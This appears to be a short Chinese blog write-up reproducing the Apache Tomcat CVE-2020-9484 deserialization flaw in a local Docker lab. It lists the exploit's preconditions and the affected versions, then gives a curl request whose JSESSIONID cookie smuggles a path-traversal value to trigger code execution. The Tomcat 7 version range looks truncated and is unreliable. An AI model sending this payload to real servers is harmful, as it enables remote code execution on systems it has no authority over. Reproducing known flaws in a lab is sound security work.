Tomcat Session(CVE-2020-9484)反序列化漏洞复现
漏洞概述
Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。 成功利用此漏洞需要同时满足以下4个条件: 1.攻击者能够控制服务器上文件的内容和文件名称; 2.服务器PersistenceManager配置中使用了FileStore; 3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象; 4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径
漏洞分析
参考:https://www.freebuf.com/vuls/245232.html
影响版本
- Apache Tomcat : 10.0.0-M1 to 10.0.0-M4
- Apache Tomcat : 9.0.0.M1 to 9.0.34
- Apache Tomcat : 8.5.0 to 8.5.54
- Apache Tomcat : 7.0.0 to 7.0.10
环境搭建
这里使用docker搭建
git clone https://github.com/masahiro331/CVE-2020-9484.git
有几次无法访问的情况,网络没问题的话多重试几次就好了
环境安装
docker build -t tomcat:groovy . (这里有一个点),然后等待安装好
环境启动
docker run -d -p 8080:8080 tomcat:groovy
访问8080端口
复现过程
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'
进入容器
docker exec -it 容器id /bin/bash
检查/tmp/rce进行验证
证明漏洞存在